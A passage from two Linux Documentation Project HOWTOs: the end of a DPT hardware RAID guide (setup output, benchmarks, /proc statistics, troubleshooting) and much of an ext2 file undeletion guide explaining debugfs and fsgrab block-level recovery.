EATA0: wide SCSI support enabled, max_id 16, max_lun 8.
EATA0: SCSI channel 0 enabled, host target ID 6.
EATA/DMA 2.0x: Copyright (C) 1994-1997 Dario Ballabio.
scsi0 : Adaptec AHA274x/284x/294x (EISA/VLB/PCI-Fast SCSI) 4.1.1/3.2.1
scsi1 : EATA/DMA 2.0x rev. 3.11.00
scsi : 2 hosts.
scsi0: Scanning channel A for devices.
  Vendor: IBM OEM   Model: DFHSS2F           Rev: 1818
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
  Vendor: SEAGATE   Model: ST41650       TX  Rev: DG01
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sdb at scsi1, channel 0, id 0, lun 0
  Vendor: TEAC      Model: FC-1     GF   00  Rev: RV L
  Type:   Direct-Access                      ANSI SCSI revision: 01 CCS
Detected scsi removable disk sdc at scsi1, channel 0, id 3, lun 0
  Vendor: SONY      Model: CD-ROM CDU-541    Rev: 2.6a
  Type:   CD-ROM                             ANSI SCSI revision: 02
Detected scsi CD-ROM sr0 at scsi1, channel 0, id 5, lun 0
EATA0: scsi1, channel 0, id 0, lun 0, cmds/lun 21, sorted, tagged.
EATA0: scsi1, channel 0, id 3, lun 0, cmds/lun 21, sorted.
EATA0: scsi1, channel 0, id 5, lun 0, cmds/lun 21, sorted.
scsi : detected 1 SCSI cdrom 3 SCSI disks total.
SCSI device sda: hdwr sector= 512 bytes. Sectors= 4404489 [2150 MB] [2.2 GB]
SCSI device sdb: hdwr sector= 512 bytes. Sectors= 2779518 [1357 MB] [1.4 GB]
SCSI device sdc: hdwr sector= 256 bytes. Sectors= 4160 [1 MB] [0.0 GB]

(The above display is for a setup with two SCSI controllers, DPT PM3224W and and Adaptec AHA2940.)


Linux DPT Hardware RAID mini-HOWTO : Usage

 Next Previous Contents

5. Usage

5.1 fdisk, mke2fs, mount, etc.

You can now start treating the RAID as a regular disk. The first thing you'll need to do is partition the disk (using fdisk). You'll then need to set up an ext2 filesystem. This can be done by running the command:

% mkfs -t ext2 /dev/sdxN

where /dev/sdxN is the name of the SCSI partition. Once you do this, you'll be able to mount the partitions and use them as you would any other disk (including adding entries in /etc/fstab).

5.2 Hot swapping

We first tried to test hot swapping by removing a drive and putting it back in the DPT-supplied enclosure/tower (which you buy for an additional cost). Before we could carry this out to completion, one of the disks failed (as I write this, the beeping is driving me crazy). Even though one of the disks failed, all the data on the RAID drive was accessible.

Instead of replacing the drive, we just went through the motions of hot swapping and put the same drive back in. The drive rebuilt itself and everything turned out okay. During the time the disk had filed, and during the rebuilding process, all the data was accessible. Though it should be noted that if another disk had failed, we'd have been in serious trouble.

5.3 Performance

Here's the output of the Bonnie program, on a 2144 UW with 9x3=17 GB RAID 5 setup, using the EATA DMA driver. The RAID is on a dual processor Pentium Pro machine running Linux 2.0.33. For comparison, the Bonnie results for the IDE drive on that machine are also given.

           -------Sequential Output-------- ---Sequential Input--  --Random--
           -Per Char- --Block--- -Rewrite-- -Per Char- --Block---  --Seeks---
        MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU   /sec  %CPU
RAID   100  9210 96.8  1613  5.9   717  5.8  3797 36.1 90931 96.8 4648.2 159.2
IDE    100  3277 32.0  6325 23.5  2627 18.3  4818 44.8 59697 88.0  575.9  16.3

Some people have disputed the above timings (and rightly so---I've been unable to try it out on our machines since they're completely loaded) because the size of the file used may have led to it being cached (resulting in an unusually good performance report). Here are some timings with a 3344 UW controller:

        -------Sequential Output-------- ---Sequential Input-- --Random--
        -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks---
     MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU  /sec %CPU
   1000  1714 17.2  1689  6.0  1200  5.7  5263 40.2  7023 12.1  51.3 2.2

And here are some timings on a SCSI-to-SCSI RAID system:

     -------Sequential Output-------- ---Sequential Input-- --Random--
     -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks---
MB   K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU
64   7465 100.0 70287 98.7 37012 97.7 8074 99.2 *****100.3 ***** 196.6
128  7289 99.3  67595 98.5 35294 98.6 7792 97.6 *****100.3 ***** 195.8
256  7222 98.8  44844 69.6 16096 51.8 5787 72.7 ***** 99.8 ***** 85.2
512  7138 98.4  13871 23.2 7888  29.3 7183 89.3 16488 27.2 1585. 11.5
1024 6908 95.8  12270 21.5 7161  25.4 7373 90.4 16527 28.2 123.8 1.8
2047 6081 84.1  12664 22.6 7191  25.6 7289 89.5 16573 28.5 75.0  1.2

***** results exceed column width (> 100 MB/sec, > 10000 seeks/sec)

host:   Dual PII 400 MHz, 2 x U2W, 512 MB RAM, no internal disks
RAID:   IFT 3102 UA 128 MB Cache, RAID-5, 6 x 9 GB
OS:     SuSE Linux 6.0 with Kernel 2.2.3


Linux DPT Hardware RAID mini-HOWTO : Features in the EATA DMA driver

 Next Previous Contents

6. Features in the EATA DMA driver

This section describes some of the commands available under Linux to check on the RAID configuration. Again, while references to the eata_dma driver is made, this can be used to check up on any driver.

To see the configuration for your driver, type:

% cat /proc/scsi/eata_dma/N

where N is the host id for the controller. You should see something like this:

EATA (Extended Attachment) driver version: 2.59b
queued commands:         353969
processed interrupts:    353969

scsi0 : HBA PM2144UW
Firmware revision: v07L.Y
Hardware Configuration:
IRQ: 11, level triggered
DMA: BUSMASTER
CPU: MC68020 20MHz
Base IO : 0xef90
Host Bus: PCI
SCSI Bus: WIDE Speed: 10MB/sec.
SCSI channel expansion Module: not present
SmartRAID hardware: present.
    Type: integrated
    Max array groups:              7
    Max drives per RAID 0 array:   7
    Max drives per RAID 3/5 array: 7
Cache Module: present.

    Type: 0
    Bank0: 16MB without ECC
    Bank1: 0MB without ECC
    Bank2: 0MB without ECC
    Bank3: 0MB without ECC
Timer Mod.: present
NVRAM     : present
SmartROM  : enabled
Alarm     : on
Host<->Disk command statistics:
         Reads:      Writes:
    1k:           0            0
    2k:           0            0
    4k:           0            0
    8k:           0            0
   16k:           0            0
   32k:           0            0
   64k:           0            0
  128k:           0            0
  256k:           0            0
  512k:           0            0
 1024k:           0            0
>1024k:           0            0
Sum   :           0            0

To get advanced command statistics, type:

% echo "eata_dma latency" > /proc/scsi/eata_dma/N

Then you can do a:

% cat /proc/scsi/eata_dma/N

to get more detailed statistics.

To turn off advanced command statistics, type:

% echo "eata_dma nolatency" > /proc/scsi/eata_dma/N


Linux DPT Hardware RAID mini-HOWTO : Troubleshooting

 Next Previous Contents

7. Troubleshooting

7.1 Upon bootup, no SCSI hosts are detected

This could be due to several reasons, but it's probably because the appropriate driver is not configured in the kernel. Check and make sure the appropriate driver (EATA-DMA or EATA ISA/EISA/PCI for most DPT cards) is configured.

7.2 RAID configuration shows up as N different disks

The RAID has not been configured properly. If you're using a DPT storage manager, you need to configure the RAID disks as a single logical array. Michael Neuffer ( neuffer@kralle.zdv.uni-mainz.de) writes: "When you configure the controller with the SM start it with the parameter /FW0 and/or select Solaris as OS. This will cause the array setup to be managed internally by the controller."

7.3 Machine/controller is shut down in the middle of a format

As stated in the DPT manual, this is clearly a no-no and might require the disks to be returned to the manufacturer, since the DPT Storage Manager might not be able format it. However, you might be able to perform a low level format on it, using a program supplied by DPT, called clfmt in their utilities page. Read the instructions after unzipping the clfmt.zip file on how to use it (and use it wisely). Once you do the low level format, you might be able to treat the disks like new. Use this program carefully!

7.4 SCSI_ABORT_BUSY errors produced during initial filesystem format

When you do a mke2fs on the SCSI drive, you may see errors of the form:

scsi: aborting command due to timeout : pid xxx, scsi0, channel 0, id
2, lun 0
write (10) xx xx xx xx xx xx xx xx xx
eata_abort called pid xxx target: 2 lun: 0 reason: 3
Returning: SCSI_ABORT_BUSY

and this might end up causing the machine to freeze. I (and many others) have been able to fix this problem by simply reading one or two hundred MB from the RAID array with dd like this:

% dd if=/dev/sdX of=/dev/null bs=1024k count=128

During a format, a fast rush of requests for chunks of memory that is directly accessible is made, and sometimes the memory manager cannot deliver it on time anymore. The dd is a workaround that will simply create the requests sequentially instead of one huge heap at once like the format tends to create it.

7.5 If all fails...

Read the SCSI-HOWTO again. Check the cabling and the termination. Try a different machine if you have access to one. The most common cause of problems with SCSI devices and drivers is because of faulty or misconfigured hardware. Finally, you can post to the various newsgroups or e-mail me, and I'll do my best to get back to you.


Linux DPT Hardware RAID mini-HOWTO : References

 Next Previous Contents

8. References

The following documents may prove useful to you as you set up RAID:

  • DPT Technology Library
  • EATA-DMA homepage
  • Linux Disk HOWTO
  • Linux Kernel HOWTO
  • Linux SCSI HOWTO
  • Multi Disk System Tuning HOWTO
  • RAID Solutions for Linux


Linux DPT Hardware RAID mini-HOWTO : Acknowledgements

 Next Previous Contents

9. Acknowledgements

The following people have been helpful in getting this HOWTO done:

  • Andreas Koepf ( A_Koepf@icp-vortex.com)
  • Boris Fain ( fain@zen.stanford.edu)
  • Dario Ballabio ( Dario_Ballabio@milano.europe.dg.com)
  • Heiko Rommel ( Heiko.Rommel@Uni-Bielefeld.DE)
  • Jos Vos ( jos@xos.nl)
  • Michael Neuffer ( neuffer@kralle.zdv.uni-mainz.de)
  • Ralph Wallace ( rwallace@rwallace.interaccess.com)
  • Russell Brown ( russell@lutton.lls.com)
  • Syunsuke Ogata ( Syunsuke_Ogata@appear.ne.jp)
  • Tom Brown ( tbrown@baremetal.com)


Linux Ext2fs Undeletion mini-HOWTO

Aaron Crane, aaronc@pobox.com

v1.3, 2 February 1999

Picture this. You've spent the last three days with no sleep, no food, not even a shower. Your hacking compulsion has at last paid off: you've finished that program that will bring you world-wide fame and recognition. All that you still need to do is tar it up and put it on Metalab. Oh, and delete all those Emacs backup files. So you say rm * ~. And too late, you notice the extra space in that command. You've just deleted your magnum opus! But help is at hand. This document presents a discussion of how to retrieve deleted files from a Second Extended File System. Just maybe, you'll be able to release that program after all...

1. Introduction

  • 1.1 Revision history
  • 1.2 Canonical locations of this document

2. How not to delete files

3. What recovery rate can I expect?

4. So, how do I undelete a file?

5. Unmounting the file system

6. Preparing to change inodes directly

7. Preparing to write data elsewhere

8. Finding the deleted inodes

9. Obtaining the details of the inodes

10. Recovering data blocks

  • 10.1 Short files
  • 10.2 Longer files

11. Modifying inodes directly

12. Will this get easier in future?

13. Are there any tools to automate this process?

14. Colophon

15. Credits and Bibliography

16. Legalities


Linux Ext2fs Undeletion mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This mini-Howto attempts to provide hints on how to retrieve deleted files from an ext2 file system. It also contains a limited amount of discussion of how to avoid deleting files in the first place.

I intend it to be useful certainly for people who have just had, shall we say, a little accident with rm; however, I also hope that people read it anyway. You never know: one day, some of the information in here could save your bacon.

The text assumes a little background knowledge about UNIX file systems in general; however, I hope that it will be accessible to most Linux users. If you are an outright beginner, I'm afraid that undeleting files under Linux does require a certain amount of technical knowledge and persistence, at least for the time being.

You will be unable to recover deleted files from an ext2 file system without at least read access to the raw device on which the file was stored. In general, this means that you must be root, but some distributions (such as Debian GNU/Linux) provide a disk group whose members have access to such devices. You also need debugfs from the e2fsprogs package. This should have been installed by your distribution.

Why have I written this? It stems largely from my own experiences with a particularly foolish and disastrous rm -r command as root. I deleted about 97 JPEG files which I needed and could almost certainly not recover from other sources. Using some helpful tips (see section Credits and Bibliography) and a great deal of persistence, I recovered 91 files undamaged. I managed to retrieve at least parts of five of the rest (enough to see what the picture was in each case). Only one was undisplayable, and even for this one, I am fairly sure that no more than 1024 bytes were lost (though unfortunately from the beginning of the file; given that I know nothing about the JFIF file format I had done as much as I could).

I shall discuss further below what sort of recovery rate you can expect for deleted files.

1.1 Revision history

The various publicly-released revisions of this document (and their publication dates) are as follows:

  • v1.0 on 18 January 1997
  • v1.1 on 23 July 1997 (see section Changes in version 1.1)
  • v1.2 on 4 August 1997 (see section Changes in version 1.2)
  • v1.3 on 2 February 1999 (see section Changes in version 1.3)

Changes in version 1.1

What changes have been made in this version? First of all, the thinko in the example of file recovery has been fixed. Thankyou to all those who wrote to point out my mistaek; I hope I've learned to be more careful when making up program interaction.

Secondly, the discussion of UNIX file system layout has been rewritten to be, I hope, more understandable. I wasn't entirely happy with it in the first place, and some people's comments indicated that it wasn't clear.

Thirdly, the vast uuencoded gzipped tarball of fsgrab in the middle of the file has been removed. The program is now available on my website and on Metalab (and mirrors).

Fourthly, the document has been translated into the Linux Documentation Project SGML Tools content markup language. This markup language can be easily converted to any of a number of other markup languages (including HTML and LaTeX) for convenient display and printing. One benefit of this is that beautiful typography in paper editions is a much more achievable goal; another is that the document has cross-references and hyperlinks when viewed on the Web.

Changes in version 1.2

This revision is very much an incremental change. It's here mainly to include changes suggested by readers, one of which is particularly important.

The first change was suggested by Egil Kvaleberg egil@kvaleberg.no, who pointed out the dump command in debugfs. Thanks again, Egil.

The second change is to mention the use of chattr for avoiding deleting important files. Thanks to Herman Suijs H.P.M.Suijs@kub.nl for mentioning this one.

The abstract has been revised. URLs have been added for organisations and software. Various other minor changes have been made (including fixing typos and so on).

Changes in version 1.3

Though it is the first release in 17 months, there is very little that is new here. This release merely fixes a few minor errors (typos, dangling URLs, that sort of thing -- especially the non-link to the Open Group), and updates a few parts of the text that have become hopelessly out-of-date, such as the material on kernel versions and on lde. Oh, and I've changed `Sunsite' to `Metalab' throughout.

This release is anticipated to be the last one before release 2.0, which will hopefully be a full Howto. I have been working on some substantial changes which will justify an increment of the major version number.

1.2 Canonical locations of this document

The latest public release of this document should always be available in on the Linux Documentation Project site (and mirrors).

The latest release is also kept on my website in several formats:

  • SGML source. This is the source as I have written it, using the SGML Tools package.
  • HTML. This is HTML, automatically generated from the SGML source.
  • Plain text. This is plain text, which is also automatically generated from the SGML source.


Linux Ext2fs Undeletion mini-HOWTO: How not to delete files

 Next Previous Contents

2. How not to delete files

It is vital to remember that Linux is unlike MS-DOS when it comes to undeletion. For MS-DOS (and its bastard progeny Windows 95), it is generally fairly straightforward to undelete a file - the `operating system' (I use the term loosely) even comes with a utility which automates much of the process. For Linux, this is not the case.

So. Rule number one (the prime directive, if you will) is:

KEEP BACKUPS

no matter what. Think of all your data. Perhaps, like me, you keep several years' of accumulated email, contacts, programs, papers on your computer. Think of how your life would be turned upside down if you had a catastrophic disk failure, or if -- heaven forbid! -- a malicious cracker wiped your disks. This is not unlikely; I have corresponded with a number of people in just such a situation. I exhort all right-thinking Linux users to go out and buy a useful backup device, work out a decent backup schedule, and to stick to it. Myself, I use a spare hard disk on a second machine, and periodically mirror my home directory onto it over the ethernet. For more information on planning a backup schedule, read Frisch (1995) (see section Bibliography and Credits).

In the absence of backups, what then? (Or even in the presence of backups: belt and braces is no bad policy where important data is concerned.)

Try to set the permissions for important files to 440 (or less): denying yourself write access to them means that rm requires an explicit confirmation before deleting. (I find, however, that if I'm recursively deleting a directory with rm -r, I'll interrupt the program on the first or second confirmation request and reissue the command as rm -rf.)

A good trick for selected files is to create a hard link to them in a hidden directory. I heard a story once about a sysadmin who repeatedly deleted /etc/passwd by accident (thereby half-destroying the system). One of the fixes for this was to do something like the following (as root):

# mkdir /.backup
# ln /etc/passwd /.backup

It requires quite some effort to delete the file contents completely: if you say

# rm /etc/passwd

then

# ln /.backup/passwd /etc

will retrieve it. Of course, this does not help in the event that you overwrite the file, so keep backups anyway.

On an ext2 file system, it is possible to use ext2 attributes to protect things. These attributes are manipulated with the chattr command. There is an `append-only' attribute: a file with this attribute may be appended to, but may not be deleted, and the existing contents of the file may not be overwritten. If a directory has this attribute, any files or directories within it may be modified as normal, but no files may be deleted. The `append-only' attribute is set with

$ chattr +a FILE...

There is also an `immutable' attribute, which can only be set or cleared by root. A file or directory with this attribute may not be modified, deleted, renamed, or (hard) linked. It may be set as follows:

# chattr +i FILE...

The ext2fs also provides the `undeletable' attribute (+u in chattr). The intention is that if a file with that attribute is deleted, instead of actually being reused, it is merely moved to a `safe location' for deletion at a later date. Unfortunately this feature has not yet been implemented in mainstream kernels; and though in the past there has been some interest in implementing it, it is not (to my knowledge) available for any current kernels.

Some people advocate making rm a shell alias or function for rm -i (which asks for confirmation on every file you delete). Indeed, the Red Hat distribution does this by default for all users, including root. Personally, I cannot stand software which won't run unattended, so I don't do that. There is also the problem that sooner or later, you'll be running in single-user mode, or using a different shell, or even a different machine, where your rm function doesn't exist. If you expect to be asked for confirmation, it is easy to forget where you are and to specify too many files for deletion. Likewise, the various scripts and programs that replace rm are, IMHO, very dangerous.

A slightly better solution is to start using a package which handles `recyclable' deletion by providing a command not named rm. For details on these, see Peek, et al (1993) (see section Bibliography and Credits). These however still suffer from the problem that they tend to encourage the user to have a nonchalant attitude to deletion, rather than the cautious approach that is often required on Unix systems.


Linux Ext2fs Undeletion mini-HOWTO: What recovery rate can I expect?

 Next Previous Contents

3. What recovery rate can I expect?

That depends. Among the problems with recovering files on a high-quality, multi-tasking, multi-user operating system like Linux is that you never know when someone wants to write to the disk. So when the operating system is told to delete a file, it assumes that the blocks used by that file are fair game when it wants to allocate space for a new file. (This is a specific example of a general principle for Unix-like systems: the kernel and the associated tools assume that the users aren't idiots.) In general, the more usage your machine gets, the less likely you are to be able to recover files successfully.

Also, disk fragmentation can affect the ease of recovering files. If the partition containing the deleted files is very fragmented, you are unlikely to be able to read a whole file.

If your machine, like mine, is effectively a single-user workstation, and you weren't doing anything disk-intensive at the fatal moment of deleting those files, I would expect a recovery rate in the same ball-park as detailed above. I retrieved nearly 94% of the files (and these were binary files, please note) undamaged. If you get 80% or better, you can feel pretty pleased with yourself, I should think.


Linux Ext2fs Undeletion mini-HOWTO: So, how do I undelete a file?

 Next Previous Contents

4. So, how do I undelete a file?

The procedure principally involves finding the data on the raw partition device and making it visible again to the operating system. There are basically two ways of doing this: one is to modify the existing file system such that the deleted inodes have their `deleted' flag removed, and hope that the data just magically falls back into place. The other method, which is safer but slower, is to work out where the data lies in the partition and write it out into a new file on another file system.

There are some steps you need to take before beginning to attempt your data recovery; see sections Unmounting the file system, Preparing to change inodes directly and Preparing to write data elsewhere for details. To find out how to actually retrieve your files, see sections Finding the deleted inodes, Obtaining the details of the inodes, Recovering data blocks and Modifying inodes directly.


Linux Ext2fs Undeletion mini-HOWTO: Unmounting the file system

 Next Previous Contents

5. Unmounting the file system

Regardless of which method you choose, the first step is to unmount the file system containing the deleted files. I strongly discourage any urges you may have to mess around on a mounted file system. This step should be performed as soon as possible after you realise that the files have been deleted; the sooner you can unmount, the smaller the chance that your data will be overwritten.

The simplest method is as follows: assuming the deleted files were in the /usr file system, say:

# umount /usr

You may, however, want to keep some things in /usr available. So remount it read-only:

# mount -o ro,remount /usr

If the deleted files were on the root partition, you'll need to add a -n option to prevent mount from trying to write to /etc/mtab:

# mount -n -o ro,remount /

Regardless of all this, it is possible that there will be another process using that file system (which will cause the unmount to fail with an error such as `Resource busy'). There is a program which will send a signal to any process using a given file or mount point: fuser. Try this for the /usr partition:

# fuser -v -m /usr

This lists the processes involved. Assuming none of them are vital, you can say

# fuser -k -v -m /usr

to send each process a SIGKILL (which is guaranteed to kill it), or for example,

# fuser -k -TERM -v -m /usr

to give each one a SIGTERM (which will normally make the process exit cleanly).


Linux Ext2fs Undeletion mini-HOWTO: Preparing to change inodes directly

 Next Previous Contents

6. Preparing to change inodes directly

My advice? Don't do it this way. I really don't think it's wise to play with a file system at a low enough level for this to work. This method also has problems in that you can only reliably recover the first 12 blocks of each file. So if you have any long files to recover, you'll normally have to use the other method anyway. (Although see section Will this get easier in future? for additional information.)

If you feel you must do it this way, my advice is to copy the raw partition data to an image on a different partition, and then mount this using loopback:

# cp /dev/hda5 /root/working
# mount -t ext2 -o loop /root/working /mnt

(Note that obsolete versions of mount may have problems with this. If your mount doesn't work, I strongly suggest you get the latest version, or at least version 2.7, as some very old versions have severe security bugs.)

Using loopback means that if and when you completely destroy the file system, all you have to do is copy the raw partition back and start over.


Linux Ext2fs Undeletion mini-HOWTO: Preparing to write data elsewhere

 Next Previous Contents

7. Preparing to write data elsewhere

If you chose to go this route, you need to make sure you have a rescue partition somewhere -- a place to write out new copies of the files you recover. Hopefully, your system has several partitions on it: perhaps a root, a /usr, and a /home. With all these to choose from, you should have no problem: just create a new directory on one of these.

If you have only a root partition, and store everything on that, things are slightly more awkward. Perhaps you have an MS-DOS or Windows partition you could use? Or you have the ramdisk driver in your kernel, maybe as a module? To use the ramdisk (assuming a kernel more recent than 1.3.48), say the following:

# dd if=/dev/zero of=/dev/ram0 bs=1k count=2048
# mke2fs -v -m 0 /dev/ram0 2048
# mount -t ext2 /dev/ram0 /mnt

This creates a 2MB ramdisk volume, and mounts it on /mnt.

A short word of warning: if you use kerneld (or its replacement kmod in 2.2.x and later 2.1.x kernels) to automatically load and unload kernel modules, then don't unmount the ramdisk until you've copied any files from it onto non-volatile storage. Once you unmount it, kerneld assumes it can unload the module (after the usual waiting period), and once this happens, the memory gets re-used by other parts of the kernel, losing all the painstaking hours you just spent recovering your data.

If you have a Zip, Jaz, or LS-120 drive, or something similar, it would probably be a good choice for a rescue partition location. Otherwise, you'll just have to stick with floppies.

The other thing you're likely to need is a program which can read the necessary data from the middle of the partition device. At a pinch, dd will do the job, but to read from, say, 600 MB into an 800 MB partition, dd insists on reading but ignoring the first 600 MB. This takes a not inconsiderable amount of time, even on fast disks. My way round this was to write a program which will seek to the middle of the partition. It's called fsgrab; you can find the source package on my website or on Metalab (and mirrors). If you want to use this method, the rest of this mini-Howto assumes that you have fsgrab.

If none of the files you are trying to recover were more than 12 blocks long (where a block is usually one kilobyte), then you won't need fsgrab.

If you need to use fsgrab but don't want to download and build it, it is fairly straightforward to translate an fsgrab command-line to one for dd. If we have

fsgrab -c count -s skip device

then the corresponding (but typically much slower) dd command is

dd bs=1k if=device count=count skip=skip

I must warn you that, although fsgrab functioned perfectly for me, I can take no responsibility for how it performs. It was really a very quick and dirty kludge just to get things to work. For more details on the lack of warranty, see the `No Warranty' section in the COPYING file included with it (the GNU General Public Licence).


Linux Ext2fs Undeletion mini-HOWTO: Finding the deleted inodes

 Next Previous Contents

8. Finding the deleted inodes

The next step is to ask the file system which inodes have recently been freed. This is a task you can accomplish with debugfs. Start debugfs with the name of the device on which the file system is stored:

# debugfs /dev/hda5

If you want to modify the inodes directly, add a -w option to enable writing to the file system:

# debugfs -w /dev/hda5

The debugfs command to find the deleted inodes is lsdel. So, type the command at the prompt:

debugfs:  lsdel

After much wailing and grinding of disk mechanisms, a long list is piped into your favourite pager (the value of $PAGER). Now you'll want to save a copy of this somewhere else. If you have less, you can type -o followed by the name of an output file. Otherwise, you'll have to arrange to send the output elsewhere. Try this:

debugfs:  quit
# echo lsdel | debugfs /dev/hda5 > lsdel.out

Now, based only on the deletion time, the size, the type, and the numerical permissions and owner, you must work out which of these deleted inodes are the ones you want. With luck, you'll be able to spot them because they're the big bunch you deleted about five minutes ago. Otherwise, trawl through that list carefully.

I suggest that if possible, you print out the list of the inodes you want to recover. It will make life a lot easier.


Linux Ext2fs Undeletion mini-HOWTO: Obtaining the details of the inodes

 Next Previous Contents

9. Obtaining the details of the inodes

debugfs has a stat command which prints details about an inode. Issue the command for each inode in your recovery list. For example, if you're interested in inode number 148003, try this:

debugfs:  stat <148003>
Inode: 148003   Type: regular    Mode:  0644   Flags: 0x0   Version: 1
User:   503   Group:   100   Size: 6065
File ACL: 0    Directory ACL: 0
Links: 0   Blockcount: 12
Fragment:  Address: 0    Number: 0    Size: 0
ctime: 0x31a9a574 -- Mon May 27 13:52:04 1996
atime: 0x31a21dd1 -- Tue May 21 20:47:29 1996
mtime: 0x313bf4d7 -- Tue Mar  5 08:01:27 1996
dtime: 0x31a9a574 -- Mon May 27 13:52:04 1996
BLOCKS:
594810 594811 594814 594815 594816 594817
TOTAL: 6

If you have a lot of files to recover, you'll want to automate this. Assuming that your lsdel list of inodes to recover in is in lsdel.out, try this:

# cut -c1-6 lsdel.out | grep "[0-9]" | tr -d " " > inodes

This new file inodes contains just the numbers of the inodes to recover, one per line. We save it because it will very likely come in handy later on. Then you just say:

# sed 's/^.*$/stat <\0>/' inodes | debugfs /dev/hda5 > stats

and stats contains the output of all the stat commands.


Linux Ext2fs Undeletion mini-HOWTO: Recovering data blocks

 Next Previous Contents

10. Recovering data blocks

This part is either very easy or distinctly less so, depending on whether the file you are trying to recover is more than 12 blocks long.

10.1 Short files

If the file was no more than 12 blocks long, then the block numbers of all its data are stored in the inode: you can read them directly out of the stat output for the inode. Moreover, debugfs has a command which performs this task automatically. To take the example we had before, repeated here:

debugfs:  stat <148003>
Inode: 148003   Type: regular    Mode:  0644   Flags: 0x0   Version: 1
User:   503   Group:   100   Size: 6065
File ACL: 0    Directory ACL: 0
Links: 0   Blockcount: 12
Fragment:  Address: 0    Number: 0    Size: 0
ctime: 0x31a9a574 -- Mon May 27 13:52:04 1996
atime: 0x31a21dd1 -- Tue May 21 20:47:29 1996
mtime: 0x313bf4d7 -- Tue Mar  5 08:01:27 1996
dtime: 0x31a9a574 -- Mon May 27 13:52:04 1996
BLOCKS:
594810 594811 594814 594815 594816 594817
TOTAL: 6

This file has six blocks. Since this is less than the limit of 12, we get debugfs to write the file into a new location, such as /mnt/recovered.000:

debugfs:  dump <148003> /mnt/recovered.000

Of course, this can also be done with fsgrab; I'll present it here as an example of using it:

# fsgrab -c 2 -s 594810 /dev/hda5 > /mnt/recovered.000
# fsgrab -c 4 -s 594814 /dev/hda5 >> /mnt/recovered.000

With either debugfs or fsgrab, there will be some garbage at the end of /mnt/recovered.000, but that's fairly unimportant. If you want to get rid of it, the simplest method is to take the Size field from the inode, and plug it into the bs option in a dd command line:

# dd count=1 if=/mnt/recovered.000 of=/mnt/resized.000 bs=6065

Of course, it is possible that one or more of the blocks that made up your file has been overwritten. If so, then you're out of luck: that block is gone forever. (But just imagine if you'd unmounted sooner!)

10.2 Longer files

The problems appear when the file has more than 12 data blocks. It pays here to know a little of how UNIX file systems are structured. The file's data is stored in units called `blocks'. These blocks may be numbered sequentially. A file also has an `inode', which is the place where information such as owner, permissions, and type are kept. Like blocks, inodes are numbered sequentially, although they have a different sequence. A directory entry consists of the name of the file and an inode number.

But with this state of affairs, it is still impossible for the kernel to find the data corresponding to a directory entry. So the inode also stores the location of the file's data blocks, as follows:

  • The block numbers of the first 12 data blocks are stored directly in the inode; these are sometimes referred to as the direct blocks.
  • The inode contains the block number of an indirect block. An indirect block contains the block numbers of 256 additional data blocks.
  • The inode contains the block number of a doubly indirect block. A doubly indirect block contains the block numbers of 256 additional indirect blocks.
  • The inode contains the block number of a triply indirect block. A triply indirect block contains the block numbers of 256 additional doubly indirect blocks.

Read that again: I know it's complex, but it's also important.

Now, the kernel implementation for all versions up to and including 2.0.36 unfortunately zeroes all indirect blocks (and doubly indirect blocks, and so on) when deleting a file. So if your file was longer than 12 blocks, you have no guarantee of being able to find even the numbers of all the blocks you need, let alone their contents.

The only method I have been able to find thus far is to assume that the file was not fragmented: if it was, then you're in trouble. Assuming that the file was not fragmented, there are several layouts of data blocks, according to how many data blocks the file used:

0 to 12

The block numbers are stored in the inode, as described above.

13 to 268

After the direct blocks, count one for the indirect block, and then there are 256 data blocks.

269 to 65804

As before, there are 12 direct blocks, a (useless) indirect block, and 256 blocks. These are followed by one (useless) doubly indirect block, and 256 repetitions of one (useless) indirect block and 256 data blocks.

65805 or more

The layout of the first 65804 blocks is as above. Then follow one (useless) triply indirect block and 256 repetitions of a `doubly indirect sequence'. Each doubly indirect sequence consists of a (useless) doubly indirect block, followed by 256 repetitions of one (useless) indirect block and 256 data blocks.

Of course, even if these assumed data block numbers are correct, there is no guarantee that the data in them is intact. In addition, the longer the file was, the less chance there is that it was written to the file system without appreciable fragmentation (except in special circumstances).

You should note that I assume throughout that your blocksize is 1024 bytes, as this is the standard value. If your blocks are bigger, some of the numbers above will change. Specifically: since each block number is 4 bytes long, blocksize/4 is the number of block numbers that can be stored in each indirect block. So every time the number 256 appears in the discussion above, replace it with blocksize/4. The `number of blocks required' boundaries will also have to be changed.

Let's look at an example of recovering a longer file.

debugfs:  stat <1387>
Inode: 148004   Type: regular    Mode:  0644   Flags: 0x0   Version: 1
User:   503   Group:   100   Size: 1851347
File ACL: 0    Directory ACL: 0
Links: 0   Blockcount: 3616
Fragment:  Address: 0    Number: 0    Size: 0
ctime: 0x31a9a574 -- Mon May 27 13:52:04 1996
atime: 0x31a21dd1 -- Tue May 21 20:47:29 1996
mtime: 0x313bf4d7 -- Tue Mar  5 08:01:27 1996
dtime: 0x31a9a574 -- Mon May 27 13:52:04 1996
BLOCKS:
8314 8315 8316 8317 8318 8319 8320 8321 8322 8323 8324 8325 8326 8583
TOTAL: 14

There seems to be a reasonable chance that this file is not fragmented: certainly, the first 12 blocks listed in the inode (which are all data blocks) are contiguous. So, we can start by retrieving those blocks:

# fsgrab -c 12 -s 8314 /dev/hda5 > /mnt/recovered.001

Now, the next block listed in the inode, 8326, is an indirect block, which we can ignore. But we trust that it will be followed by 256 data blocks (numbers 8327 through 8582).

# fsgrab -c 256 -s 8327 /dev/hda5 >> /mnt/recovered.001

The final block listed in the inode is 8583. Note that we're still looking good in terms of the file being contiguous: the last data block we wrote out was number 8582, which is 8327 + 255. This block 8583 is a doubly indirect block, which we can ignore. It is followed by up to 256 repetitions of an indirect block (which is ignored) followed by 256 data blocks. So doing the arithmetic quickly, we issue the following commands. Notice that we skip the doubly indirect block 8583, and the indirect block 8584 immediately (we hope) following it, and start at block 8585 for data.

# fsgrab -c 256 -s 8585 /dev/hda5 >> /mnt/recovered.001
# fsgrab -c 256 -s 8842 /dev/hda5 >> /mnt/recovered.001
# fsgrab -c 256 -s 9099 /dev/hda5 >> /mnt/recovered.001
